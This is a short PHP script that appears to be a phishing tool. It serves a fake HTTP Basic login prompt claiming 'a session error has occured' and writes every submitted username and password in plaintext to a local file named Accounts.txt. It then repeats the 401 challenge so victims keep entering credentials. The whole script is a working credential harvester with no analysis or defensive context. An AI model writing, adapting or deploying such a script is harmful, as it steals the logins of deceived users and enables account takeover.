<?php
    if(isset($_SERVER['PHP_AUTH_USER'])){
        $Handle = @fopen('Accounts.txt', 'a');

        @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
        @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");

        @fclose($Handle);
    }

    header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
    header('HTTP/1.0 401 Unauthorized');
    exit;
?>